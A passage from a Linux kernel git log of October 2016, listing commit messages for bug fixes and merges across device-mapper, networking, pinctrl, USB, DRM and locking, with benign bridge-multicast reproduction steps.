Author: Mike Snitzer Date: Tue Oct 18 14:02:04 2016 -0400 dm rq: clear kworker_task if kthread_run() returned an error cleanup_mapped_device() calls kthread_stop() if kworker_task is non-NULL. Currently the assigned value could be a valid task struct or an error code (e.g -ENOMEM). Reset md->kworker_task to NULL if kthread_run() returned an erorr. Fixes: 7193a9defc ("dm rq: check kthread_run return for .request_fn request-based DM") Cc: stable@vger.kernel.org # 4.8 Reported-by: Tahsin Erdogan Signed-off-by: Mike Snitzer drivers/md/dm-rq.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit 7cb3f9214dfa443c1ccc2be637dcc6344cc203f0 Author: Nikolay Aleksandrov Date: Tue Oct 18 18:09:48 2016 +0200 bridge: multicast: restore perm router ports on multicast enable Satish reported a problem with the perm multicast router ports not getting reenabled after some series of events, in particular if it happens that the multicast snooping has been disabled and the port goes to disabled state then it will be deleted from the router port list, but if it moves into non-disabled state it will not be re-added because the mcast snooping is still disabled, and enabling snooping later does nothing. Here are the steps to reproduce, setup br0 with snooping enabled and eth1 added as a perm router (multicast_router = 2): 1. $ echo 0 > /sys/class/net/br0/bridge/multicast_snooping 2. $ ip l set eth1 down ^ This step deletes the interface from the router list 3. $ ip l set eth1 up ^ This step does not add it again because mcast snooping is disabled 4. $ echo 1 > /sys/class/net/br0/bridge/multicast_snooping 5. $ bridge -d -s mdb show At this point we have mcast enabled and eth1 as a perm router (value = 2) but it is not in the router list which is incorrect. After this change: 1. $ echo 0 > /sys/class/net/br0/bridge/multicast_snooping 2. $ ip l set eth1 down ^ This step deletes the interface from the router list 3. $ ip l set eth1 up ^ This step does not add it again because mcast snooping is disabled 4. $ echo 1 > /sys/class/net/br0/bridge/multicast_snooping 5. $ bridge -d -s mdb show router ports on br0: eth1 Note: we can directly do br_multicast_enable_port for all because the querier timer already has checks for the port state and will simply expire if it's in blocking/disabled. See the comment added by commit 9aa66382163e7 ("bridge: multicast: add a comment to br_port_state_selection about blocking state") Fixes: 561f1103a2b7 ("bridge: Add multicast_snooping sysfs toggle") Reported-by: Satish Ashok Signed-off-by: Nikolay Aleksandrov Signed-off-by: David S. Miller net/bridge/br_multicast.c | 23 ++++++++++++++--------- 1 file changed, 14 insertions(+), 9 deletions(-) commit 08328814256d888634ff15ba8fb67e2ae4340b64 Merge: 9d71bdf 0e60439 Author: Linus Torvalds Date: Tue Oct 18 09:59:04 2016 -0700 Merge branch 'x86-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull x86 fixes from Ingo Molnar: "Misc fixes, plus hw-enablement changes: - fix persistent RAM handling - remove pkeys warning - remove duplicate macro - fix debug warning in irq handler - add new 'Knights Mill' CPU related constants and enable the perf bits" * 'x86-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: perf/x86/intel/uncore: Add Knights Mill CPUID perf/x86/intel/rapl: Add Knights Mill CPUID perf/x86/intel: Add Knights Mill CPUID x86/cpu/intel: Add Knights Mill to Intel family x86/e820: Don't merge consecutive E820_PRAM ranges pkeys: Remove easily triggered WARN x86: Remove duplicate rtit status MSR macro x86/smp: Add irq_enter/exit() in smp_reschedule_interrupt() commit 9d71bdfbcba12b55ed671166896cd785dcd57216 Merge: 2c11fc8 54e2384 Author: Linus Torvalds Date: Tue Oct 18 09:57:12 2016 -0700 Merge branch 'timers-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull timer fixlet from Ingo Molnar: "Remove an unused variable" * 'timers-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: alarmtimer: Remove unused but set variable commit 2c11fc87caa9a60ada54f4bfc97f7b1abc38d7d0 Merge: b75d388 9cfb38a Author: Linus Torvalds Date: Tue Oct 18 09:53:59 2016 -0700 Merge branch 'sched-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull scheduler fix from Ingo Molnar: "Fix a crash that can trigger when racing with CPU hotplug: we didn't use sched-domains data structures carefully enough in select_idle_cpu()" * 'sched-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: sched/fair: Fix sched domains NULL dereference in select_idle_sibling() commit b75d3886f34e194780239231aa973b283afa9a3a Merge: e0ed1c2 0130669 Author: Linus Torvalds Date: Tue Oct 18 09:30:18 2016 -0700 Merge branch 'perf-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull perf fixes from Ingo Molnar: "Four tooling fixes, two kprobes KASAN related fixes and an x86 PMU driver fix/cleanup" * 'perf-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: perf jit: Fix build issue on Ubuntu perf jevents: Handle events including .c and .o perf/x86/intel: Remove an inconsistent NULL check kprobes: Unpoison stack in jprobe_return() for KASAN kprobes: Avoid false KASAN reports during stack copy perf header: Set nr_numa_nodes only when we parsed all the data perf top: Fix refreshing hierarchy entries on TUI commit e0ed1c22d480a3b5ec5fce4e5399cf4481da95a6 Merge: 50276c9 5f43086 Author: Linus Torvalds Date: Tue Oct 18 09:04:17 2016 -0700 Merge branch 'locking-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull locking fixes from Ingo Molnar: "Two fixes: - a file locks fix (missing critical section, bug introduced in this merge window) - an x86 down_write() stack frame annotation" * 'locking-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: locking, fs/locks: Add missing file_sem locks locking/rwsem/x86: Add stack frame dependency for ____down_write() commit d09960b0032174eb493c4c13be5b9c9ef36dc9a7 Author: Tahsin Erdogan Date: Mon Oct 10 05:35:19 2016 -0700 dm: free io_barrier after blk_cleanup_queue call dm_old_request_fn() has paths that access md->io_barrier. The party destroying io_barrier should ensure that no future execution of dm_old_request_fn() is possible. Move io_barrier destruction to below blk_cleanup_queue() to ensure this and avoid a NULL pointer crash during request-based DM device shutdown. Cc: stable@vger.kernel.org # 4.3+ Signed-off-by: Tahsin Erdogan Signed-off-by: Mike Snitzer drivers/md/dm.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 50276c9abb9c236a359854f30eb8bb81fd14a22d Merge: 351267d d102eb5 Author: Linus Torvalds Date: Tue Oct 18 09:01:22 2016 -0700 Merge branch 'irq-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull irq fixes from Ingo Molnar: "Three irqchip driver fixes" * 'irq-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: irqchip/gicv3: Handle loop timeout proper irqchip/jcore: Fix lost per-cpu interrupts irqchip/eznps: Acknowledge NPS_IPI before calling the handler commit d2e4d593516e877f1f6fb40031eb495f36606e16 Author: Arnd Bergmann Date: Tue Oct 18 00:05:30 2016 +0200 netfilter: nf_tables: avoid uninitialized variable warning The newly added nft_range_eval() function handles the two possible nft range operations, but as the compiler warning points out, any unexpected value would lead to the 'mismatch' variable being used without being initialized: net/netfilter/nft_range.c: In function 'nft_range_eval': net/netfilter/nft_range.c:45:5: error: 'mismatch' may be used uninitialized in this function [-Werror=maybe-uninitialized] This removes the variable in question and instead moves the condition into the switch itself, which is potentially more efficient than adding a bogus 'default' clause as in my first approach, and is nicer than using the 'uninitialized_var' macro. Fixes: 0f3cd9b36977 ("netfilter: nf_tables: add range expression") Link: http://patchwork.ozlabs.org/patch/677114/ Signed-off-by: Arnd Bergmann Signed-off-by: Pablo Neira Ayuso net/netfilter/nft_range.c | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) commit 351267d941bffeddfaa55ba05c77f971b9f67cfe Merge: 5aa43ef a705e07 Author: Linus Torvalds Date: Tue Oct 18 08:35:07 2016 -0700 Merge branch 'core-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull misc fixes from Ingo Molnar: "A CPU hotplug debuggability fix and three objtool false positive warnings fixes for new GCC6 code generation patterns" * 'core-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: cpu/hotplug: Use distinct name for cpu_hotplug.dep_map objtool: Skip all "unreachable instruction" warnings for gcov kernels objtool: Improve rare switch jump table pattern detection objtool: Support '-mtune=atom' stack frame setup instruction commit 5aa43efe905bdf3f1bd3cfddf035f7ebee2590eb Merge: 37c1e28 6449e31 Author: Linus Torvalds Date: Tue Oct 18 08:28:08 2016 -0700 Merge tag 'firewire-update' of git://git.kernel.org/pub/scm/linux/kernel/git/ieee1394/linux1394 Pull firewire fixlet from Stefan Richter: "IEEE 1394 subsystem patch: catch an initialization error in the packet sniffer nosy" * tag 'firewire-update' of git://git.kernel.org/pub/scm/linux/kernel/git/ieee1394/linux1394: firewire: nosy: do not ignore errors in ioremap_nocache() commit 6026ed2fe258b61ea5aadd91a95c4f36a6dbe167 Author: Ard Biesheuvel Date: Tue Oct 18 15:33:11 2016 +0100 MAINTAINERS: Add myself as EFI maintainer At the request of Matt, I am taking up co-maintainership of the EFI subsystem. So add my name to the EFI section in MAINTAINERS, and change the SCM tree reference to point to the new shared Git repo. Signed-off-by: Ard Biesheuvel Acked-by: Will Deacon Acked-by: Matt Fleming Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: linux-efi@vger.kernel.org Link: http://lkml.kernel.org/r/20161018143318.15673-2-matt@codeblueprint.co.uk Signed-off-by: Ingo Molnar MAINTAINERS | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 37c1e28931333c4b838d1c8db5cdd8d75165dc6b Merge: 14155ca fa860a1 Author: Linus Torvalds Date: Tue Oct 18 08:05:29 2016 -0700 Merge tag 'drm-fixes-for-v4.9-rc2' of git://people.freedesktop.org/~airlied/linux Pull drm fixes from Dave Airlie: "Just had a couple of amdgpu fixes and one core fix I wanted to get out early to fix some regressions. I'm sure I'll have more stuff this week for -rc2" * tag 'drm-fixes-for-v4.9-rc2' of git://people.freedesktop.org/~airlied/linux: (22 commits) drm: Print device information again in debugfs drm/amd/powerplay: fix bug stop dpm can't work on Vi. drm/amd/powerplay: notify smu no display by default. drm/amdgpu/dpm: implement thermal sensor for CZ/ST drm/amdgpu/powerplay: implement thermal sensor for CZ/ST drm/amdgpu: disable smu hw first on tear down drm/amdgpu: fix amdgpu_need_full_reset (v2) drm/amdgpu/si_dpm: Limit clocks on HD86xx part drm/amd/powerplay: fix static checker warnings in smu7_hwmgr.c drm/amdgpu: potential NULL dereference in debugfs code drm/amd/powerplay: fix static checker warnings in smu7_hwmgr.c drm/amd/powerplay: fix static checker warnings in iceland_smc.c drm/radeon: change vblank_time's calculation method to reduce computational error. drm/amdgpu: change vblank_time's calculation method to reduce computational error. drm/amdgpu: clarify UVD/VCE special handling for CG drm/amd/amdgpu: enable clockgating only after late init drm/radeon: allow TA_CS_BC_BASE_ADDR on SI drm/amdgpu: initialize the context reset_counter in amdgpu_ctx_init drm/amdgpu/gfx8: fix CGCG_CGLS handling drm/radeon: fix modeset tear down code ... commit d6619761068cf573cae406f176d00b82a39a37fc Author: Jérémy Lefaure Date: Thu Oct 6 17:59:53 2016 -0400 dmaengine: mmp_tdma: add missing select GENERIC_ALLOCATOR in Kconfig There are some compilation errors when CONFIG_MMP_TDMA is enabled and CONFIG_GENERIC_ALLOCATOR is disabled: drivers/built-in.o: In function `mmp_tdma_prep_dma_cyclic': mmp_tdma.c:(.text+0x7890e): undefined reference to `gen_pool_dma_alloc' drivers/built-in.o: In function `mmp_tdma_free_chan_resources': mmp_tdma.c:(.text+0x78aca): undefined reference to `gen_pool_free' drivers/built-in.o: In function `mmp_tdma_probe': mmp_tdma.c:(.text+0x78ea8): undefined reference to `of_gen_pool_get' This commit fix this problem by selecting GENERIC_ALLOCATOR when CONFIG_MMP_TDMA is enabled. Signed-off-by: Jérémy Lefaure Signed-off-by: Vinod Koul drivers/dma/Kconfig | 1 + 1 file changed, 1 insertion(+) commit f95df7d6cd92787d54c9ad3d4843f9bcd137f9db Author: Wei Yongjun Date: Mon Oct 17 15:16:35 2016 +0000 dmaengine: edma: Fix error return code in edma_alloc_chan_resources() Fix to return a negative error code from the error handling case instead of 0, as done elsewhere in this function. Signed-off-by: Wei Yongjun Signed-off-by: Vinod Koul drivers/dma/edma.c | 1 + 1 file changed, 1 insertion(+) commit 7ab488951aa536d52feb3690d204a693edf4f433 Author: Tobias Klauser Date: Tue Oct 18 11:22:54 2016 +0200 tcp: Remove unused but set variable Remove the unused but set variable icsk in listening_get_next to fix the following GCC warning when building with 'W=1': net/ipv4/tcp_ipv4.c: In function ‘listening_get_next’: net/ipv4/tcp_ipv4.c:1890:31: warning: variable ‘icsk’ set but not used [-Wunused-but-set-variable] Signed-off-by: Tobias Klauser Signed-off-by: David S. Miller net/ipv4/tcp_ipv4.c | 2 -- 1 file changed, 2 deletions(-) commit a56177e18f2e44499a8bf5bc03dbe896dbec657d Author: Ganesh Goudar Date: Tue Oct 18 14:21:25 2016 +0530 cxgb4: Fix number of queue sets corssing the limit Do not let number of offload queue sets to go more than MAX_OFLD_QSETS, which would otherwise crash the driver on machines with cores more than MAX_OFLD_QSETS. Signed-off-by: Ganesh Goudar Signed-off-by: David S. Miller drivers/net/ethernet/chelsio/cxgb4/cxgb4_main.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7e1670c15c9b18d614b43a674e086eb3e239c8f7 Author: Tobias Klauser Date: Tue Oct 18 09:40:20 2016 +0200 ipv4: Remove unused but set variable Remove the unused but set variable dev in ip_do_fragment to fix the following GCC warning when building with 'W=1': net/ipv4/ip_output.c: In function ‘ip_do_fragment’: net/ipv4/ip_output.c:541:21: warning: variable ‘dev’ set but not used [-Wunused-but-set-variable] Signed-off-by: Tobias Klauser Signed-off-by: David S. Miller net/ipv4/ip_output.c | 3 --- 1 file changed, 3 deletions(-) commit 1826277802d83b47d77e6a3e876aec07777aa271 Author: Niklas Cassel Date: Tue Oct 18 09:20:55 2016 +0200 dwc_eth_qos: enable flow control by default Allow autoneg to enable flow control by default. The behavior when autoneg is off has not changed. Signed-off-by: Niklas Cassel Signed-off-by: Jesper Nilsson Acked-by: Lars Persson Signed-off-by: David S. Miller drivers/net/ethernet/synopsys/dwc_eth_qos.c | 1 + 1 file changed, 1 insertion(+) commit 902943c0d759a090490b2bf6c91a49395b353653 Author: Niklas Cassel Date: Tue Oct 18 09:20:33 2016 +0200 dwc_eth_qos: do not clear pause flags from phy_device->supported phy_device->supported is originally set by the PHY driver. The ethernet driver should filter phy_device->supported to only contain flags supported by the IP. The IP supports setting rx and tx flow control independently, therefore SUPPORTED_Pause and SUPPORTED_Asym_Pause should not be cleared. If the flags are cleared, pause frames cannot be enabled (even if they are supported by the PHY). Signed-off-by: Niklas Cassel Signed-off-by: Jesper Nilsson Acked-by: Lars Persson Signed-off-by: David S. Miller drivers/net/ethernet/synopsys/dwc_eth_qos.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 8d324fd9e1bee59274d67a0a08eac5f7b1573db7 Author: Tobias Klauser Date: Tue Oct 18 09:07:29 2016 +0200 net/hsr: Remove unused but set variable Remove the unused but set variable master_dev in check_local_dest to fix the following GCC warning when building with 'W=1': net/hsr/hsr_forward.c: In function ‘check_local_dest’: net/hsr/hsr_forward.c:303:21: warning: variable ‘master_dev’ set but not used [-Wunused-but-set-variable] Signed-off-by: Tobias Klauser Signed-off-by: David S. Miller net/hsr/hsr_forward.c | 4 ---- 1 file changed, 4 deletions(-) commit 5cbee5573604e6c6170911bdfb78e2a0e6aa142e Merge: 6bc8062 f4a067f Author: David S. Miller Date: Tue Oct 18 10:26:15 2016 -0400 Merge tag 'mac80211-for-davem-2016-10-18' of git://git.kernel.org/pub/scm/linux/kernel/git/jberg/mac80211 Johannes Berg says: ==================== This is relatively small, mostly to get the SG/crypto from stack removal fix that crashes things when VMAP stack is used in conjunction with software crypto. Aside from that, we have: * a fix for AP_VLAN usage with the nl80211 frame command * two fixes (and two preparation patches) for A-MSDU, one to discard group-addressed (multicast) and unexpected 4-address A-MSDUs, the other to validate A-MSDU inner MAC addresses properly to prevent controlled port bypass ==================== Signed-off-by: David S. Miller commit 6bc80629eefc3731f5881092bed610d994e05763 Author: Ivan Vecera Date: Tue Oct 18 08:16:03 2016 +0200 bnx2: fix locking when netconsole is used Functions bnx2_reg_rd_ind(), bnx2_reg_wr_ind() and bnx2_ctx_wr() can be called with IRQs disabled when netconsole is enabled. So they should use spin_{,un}lock_irq{save,restore} instead of _bh variants. Example call flow: bnx2_poll() ->bnx2_poll_link() ->bnx2_phy_int() ->bnx2_set_remote_link() ->bnx2_shmem_rd() ->bnx2_reg_rd_ind() -> spin_lock_bh(&bp->indirect_lock); spin_unlock_bh(&bp->indirect_lock); ... -> __local_bh_enable_ip static inline void __local_bh_enable_ip(unsigned long ip) WARN_ON_ONCE(in_irq() || irqs_disabled()); <<<<<< WARN Cc: Sony Chacko Cc: Dept-HSGLinuxNICDev@qlogic.com Signed-off-by: Ivan Vecera Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/bnx2.c | 17 +++++++++++------ 1 file changed, 11 insertions(+), 6 deletions(-) commit 112a3edf4bc687e02b9aa13c33391203fe6b7714 Merge: d9ed71e d5e84fd Author: Chris Mason Date: Tue Oct 18 06:51:33 2016 -0700 Merge branch 'for-chris-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/fdmanana/linux into for-linus-4.9 commit 0ce267ff95a0302cf6fb2a552833abbfb7861a43 Author: Miklos Szeredi Date: Tue Oct 18 15:36:48 2016 +0200 fuse: fix root dentry initialization Add missing dentry initialization to root dentry. Fixes: f75fdf22b0a8 ("fuse: don't use ->d_time") Reported-by: Andreas Reis Signed-off-by: Miklos Szeredi fs/fuse/dir.c | 5 +++++ fs/fuse/fuse_i.h | 1 + fs/fuse/inode.c | 3 ++- 3 files changed, 8 insertions(+), 1 deletion(-) commit c538b9436751a0be2e1246b48353bc23156bdbcc Author: Mika Westerberg Date: Mon Oct 10 16:39:31 2016 +0300 pinctrl: intel: Only restore pins that are used by the driver Dell XPS 13 (and maybe some others) uses a GPIO (CPU_GP_1) during suspend to explicitly disable USB touchscreen interrupt. This is done to prevent situation where the lid is closed the touchscreen is left functional. The pinctrl driver (wrongly) assumes it owns all pins which are owned by host and not locked down. It is perfectly fine for BIOS to use those pins as it is also considered as host in this context. What happens is that when the lid of Dell XPS 13 is closed, the BIOS configures CPU_GP_1 low disabling the touchscreen interrupt. During resume we restore all host owned pins to the known state which includes CPU_GP_1 and this overwrites what the BIOS has programmed there causing the touchscreen to fail as no interrupts are reaching the CPU anymore. Fix this by restoring only those pins we know are explicitly requested by the kernel one way or other. Cc: stable@vger.kernel.org Link: https://bugzilla.kernel.org/show_bug.cgi?id=176361 Reported-by: AceLan Kao Tested-by: AceLan Kao Signed-off-by: Mika Westerberg Signed-off-by: Linus Walleij drivers/pinctrl/intel/pinctrl-intel.c | 25 +++++++++++++++++++++++-- 1 file changed, 23 insertions(+), 2 deletions(-) commit a171bc51fa697021e1b2082d7e95c12a363bc0a9 Author: Ville Syrjälä Date: Mon Oct 3 17:56:55 2016 +0300 pinctrl: baytrail: Fix lockdep Initialize the spinlock before using it. INFO: trying to register non-static key. the code is fine but needs lockdep annotation. turning off the locking correctness validator. CPU: 2 PID: 1 Comm: swapper/0 Not tainted 4.8.0-dwc-bisect #4 Hardware name: Intel Corp. VALLEYVIEW C0 PLATFORM/BYT-T FFD8, BIOS BLAKFF81.X64.0088.R10.1403240443 FFD8_X64_R_2014_13_1_00 03/24/2014 0000000000000000 ffff8800788ff770 ffffffff8133d597 0000000000000000 0000000000000000 ffff8800788ff7e0 ffffffff810cfb9e 0000000000000002 ffff8800788ff7d0 ffffffff8205b600 0000000000000002 ffff8800788ff7f0 Call Trace: [] dump_stack+0x67/0x90 [] register_lock_class+0x52e/0x540 [] __lock_acquire+0x81/0x16b0 [] ? save_trace+0x41/0xd0 [] ? __lock_acquire+0x13b2/0x16b0 [] ? __lock_is_held+0x4a/0x70 [] lock_acquire+0xba/0x220 [] ? byt_gpio_get_direction+0x3e/0x80 [] _raw_spin_lock_irqsave+0x47/0x60 [] ? byt_gpio_get_direction+0x3e/0x80 [] byt_gpio_get_direction+0x3e/0x80 [] gpiochip_add_data+0x319/0x7d0 [] ? _raw_spin_unlock_irqrestore+0x43/0x70 [] byt_pinctrl_probe+0x2fb/0x620 [] platform_drv_probe+0x3c/0xa0 ... Based on the diff it looks like the problem was introduced in commit 71e6ca61e826 ("pinctrl: baytrail: Register pin control handling") but I wasn't able to verify that empirically as the parent commit just oopsed when I tried to boot it. Cc: Cristina Ciocan Cc: stable@vger.kernel.org Fixes: 71e6ca61e826 ("pinctrl: baytrail: Register pin control handling") Signed-off-by: Ville Syrjälä Acked-by: Mika Westerberg Signed-off-by: Linus Walleij drivers/pinctrl/intel/pinctrl-baytrail.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 8eb37aff76f4d97db39e62a838cd37c4d341d673 Author: Andrew Jeffery Date: Wed Sep 28 00:20:16 2016 +0930 pinctrl: aspeed-g5: Fix pin association of SPI1 function The SPI1 function was associated with the wrong pins: The functions that those pins provide is either an SPI debug or passthrough function coupled to SPI1. Make the SPI1 mux function configure the relevant pins and associate new SPI1DEBUG and SPI1PASSTHRU functions with the pins that were already defined. The notation used in the datasheet's multi-function pin table for the SoC is often creative: in this case the SYS* signals are enabled by a single bit, which is nothing unusual on its own, but in this case the bit was also participating in a multi-bit bitfield and therefore represented multiple functions. This fact was overlooked in the original patch. Fixes: 56e57cb6c07f (pinctrl: Add pinctrl-aspeed-g5 driver) Signed-off-by: Andrew Jeffery Reviewed-by: Joel Stanley Acked-by: Rob Herring Signed-off-by: Linus Walleij .../devicetree/bindings/pinctrl/pinctrl-aspeed.txt | 4 +- drivers/pinctrl/aspeed/pinctrl-aspeed-g5.c | 86 ++++++++++++++++++++-- 2 files changed, 81 insertions(+), 9 deletions(-) commit d3dbabe9848092d26d14076cdf4d52734f998580 Author: Andrew Jeffery Date: Wed Sep 28 00:20:15 2016 +0930 pinctrl: aspeed-g5: Fix GPIOE1 typo This prevented C20 from successfully being muxed as GPIO. Fixes: 56e57cb6c07f (pinctrl: Add pinctrl-aspeed-g5 driver) Signed-off-by: Andrew Jeffery Reviewed-by: Joel Stanley Signed-off-by: Linus Walleij drivers/pinctrl/aspeed/pinctrl-aspeed-g5.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 97e8c3f5e76582d63026585c79d39c1d1fb960e5 Author: Andrew Jeffery Date: Wed Sep 28 00:20:14 2016 +0930 pinctrl: aspeed-g5: Fix names of GPID2 pins Fixes simple typos in the initial commit. There is no behavioural change. Fixes: 56e57cb6c07f (pinctrl: Add pinctrl-aspeed-g5 driver) Reported-by: Xo Wang Signed-off-by: Andrew Jeffery Reviewed-by: Joel Stanley Signed-off-by: Linus Walleij drivers/pinctrl/aspeed/pinctrl-aspeed-g5.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit 5366f1460c447f8ecb7d13e99e5ccb4bcfc21927 Author: Andrew Jeffery Date: Wed Sep 28 00:20:13 2016 +0930 pinctrl: aspeed: "Not enabled" is a significant mux state Consider a scenario with one pin P that has two signals A and B, where A is defined to be higher priority than B: That is, if the mux IP is in a state that would consider both A and B to be active on P, then A will be the active signal. To instead configure B as the active signal we must configure the mux so that A is inactive. The mux state for signals can be described by logical operations on one or more bits from one or more registers (a "signal expression"), which in some cases leads to aliased mux states for a particular signal. Further, signals described by multi-bit bitfields often do not only need to record the states that would make them active (the "enable" expressions), but also the states that makes them inactive (the "disable" expressions). All of this combined leads to four possible states for a signal: 1. A signal is active with respect to an "enable" expression 2. A signal is not active with respect to an "enable" expression 3. A signal is inactive with respect to a "disable" expression 4. A signal is not inactive with respect to a "disable" expression In the case of P, if we are looking to activate B without explicitly having configured A it's enough to consider A inactive if all of A's "enable" signal expressions evaluate to "not active". If any evaluate to "active" then the corresponding "disable" states must be applied so it becomes inactive. For example, on the AST2400 the pins composing GPIO bank H provide signals ROMD8 through ROMD15 (high priority) and those for UART6 (low priority). The mux states for ROMD8 through ROMD15 are aliased, i.e. there are two mux states that result in the respective signals being configured: A. SCU90[6]=1 B. Strap[4,1:0]=100 Further, the second mux state is a 3-bit bitfield that explicitly defines the enabled state but the disabled state is implicit, i.e. if Strap[4,1:0] is not exactly "100" then ROMD8 through ROMD15 are not considered active. This requires the mux function evaluation logic to use approach 2. above, however the existing code was using approach 3. The problem was brought to light on the Palmetto machines where the strap register value is 0x120ce416, and prevented GPIO requests in bank H from succeeding despite the hardware being in a position to allow them. Fixes: 318398c09a8d ("pinctrl: Add core pinctrl support for Aspeed SoCs") Signed-off-by: Andrew Jeffery Reviewed-by: Joel Stanley Signed-off-by: Linus Walleij drivers/pinctrl/aspeed/pinctrl-aspeed.c | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) commit d69bb92e402ff948bdcd39f19c9067874fb86873 Author: Vlad Tsyrklevich Date: Thu Oct 13 14:36:41 2016 +0200 ALSA: asihpi: fix kernel memory disclosure Some elements in hr are not cleared before being copied to user space, leaking kernel heap memory to user space. For example, this happens in the error handling code for the HPI_ADAPTER_DELETE case. Zero the memory before it's copied. Signed-off-by: Vlad Tsyrklevich Signed-off-by: Takashi Iwai sound/pci/asihpi/hpioctl.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a1aa8cf6471b17c0fa7132ea5eeef0ae07ca07cd Author: John Youn Date: Mon Oct 17 17:36:28 2016 -0700 Revert "Documentation: devicetree: dwc2: Deprecate g-tx-fifo-size" This binding was deprecated due to commit aa381a7259c3 ("usb: dwc2: gadget: fix TX FIFO size and address initialization"). However that commit is now reverted, so also revert this commit. The binding is valid and shouldn't be deprecated. This reverts commit 65e1ff7f4b5b ("Documentation: devicetree: dwc2: Deprecate g-tx-fifo-size"). Signed-off-by: John Youn Acked-by: Rob Herring Signed-off-by: Felipe Balbi Documentation/devicetree/bindings/usb/dwc2.txt | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit 3fa9538539ac737096c81f3315a14670b1609092 Author: John Youn Date: Mon Oct 17 17:36:25 2016 -0700 Revert "usb: dwc2: gadget: fix TX FIFO size and address initialization" This reverts commit aa381a7259c3 ("usb: dwc2: gadget: fix TX FIFO size and address initialization"). The original commit removed the FIFO size programming per endpoint. The DPTXFSIZn register is also used for DIEPTXFn and the SIZE field is r/w in dedicated fifo mode. So it isn't appropriate to simply remove this initialization as it might break existing behavior. Also, some cores might not have enough fifo space to handle the programming method used in the reverted patch, resulting in fifo initialization failure. Signed-off-by: John Youn Cc: Robert Baldyga Cc: Stefan Wahren Signed-off-by: Felipe Balbi drivers/usb/dwc2/core.h | 7 +++++++ drivers/usb/dwc2/gadget.c | 47 +++++++++++++++++++++++++++++++++++++++-------- 2 files changed, 46 insertions(+), 8 deletions(-) commit 2317eacd9cf9dc1beee74ddb453bdd7552a64a27 Author: John Youn Date: Mon Oct 17 17:36:23 2016 -0700 Revert "usb: dwc2: gadget: change variable name to more meaningful" This reverts commit ba48eab8866c ("usb: dwc2: gadget: change variable name to more meaningful"). This is needed to cleanly revert commit aa381a7259c3 ("usb: dwc2: gadget: fix TX FIFO size and address initialization") which may cause regressions on some platforms. Signed-off-by: John Youn Cc: Robert Baldyga Cc: Stefan Wahren Signed-off-by: Felipe Balbi drivers/usb/dwc2/gadget.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 5130ccea7cf4646a24c005be1309b7f86f1e91c9 Author: Wei Yongjun Date: Mon Oct 17 15:11:29 2016 +0000 ceph: fix non static symbol warning Fixes the following sparse warning: fs/ceph/xattr.c:19:28: warning: symbol 'ceph_other_xattr_handler' was not declared. Should it be static? Signed-off-by: Wei Yongjun Signed-off-by: Ilya Dryomov fs/ceph/xattr.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 5f43086bb9224987010460dcf3dee68fbd4f574d Author: Peter Zijlstra Date: Sat Oct 8 10:12:28 2016 +0200 locking, fs/locks: Add missing file_sem locks I overlooked a few code-paths that can lead to locks_delete_global_locks(). Reported-by: Dmitry Vyukov Signed-off-by: Peter Zijlstra (Intel) Reviewed-by: Jeff Layton Cc: Al Viro Cc: Bruce Fields Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: linux-fsdevel@vger.kernel.org Cc: syzkaller Link: http://lkml.kernel.org/r/20161008081228.GF3142@twins.programming.kicks-ass.net Signed-off-by: Ingo Molnar fs/locks.c | 6 ++++++ 1 file changed, 6 insertions(+) commit 55a76b59b5fef408442e16121faa9eb00a65fd50 Author: Josh Poimboeuf Date: Thu Oct 13 16:26:15 2016 -0500 locking/rwsem/x86: Add stack frame dependency for ____down_write() Arnd reported the following objtool warning: kernel/locking/rwsem.o: warning: objtool: down_write_killable()+0x16: call without frame pointer save/setup The warning means gcc placed the ____down_write() inline asm (and its call instruction) before the frame pointer setup in down_write_killable(), which breaks frame pointer convention and can result in incorrect stack traces. Force the stack frame to be created before the call instruction by listing the stack pointer as an output operand in the inline asm statement. Reported-by: Arnd Bergmann Signed-off-by: Josh Poimboeuf Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/1188b7015f04baf361e59de499ee2d7272c59dce.1476393828.git.jpoimboe@redhat.com Signed-off-by: Ingo Molnar arch/x86/include/asm/rwsem.h | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 31ca58781019de191c7f520f0626ca76a88c1f6e Author: Geert Uytterhoeven Date: Thu Oct 13 17:15:37 2016 +0200 ceph: fix uninitialized dentry pointer in ceph_real_mount() 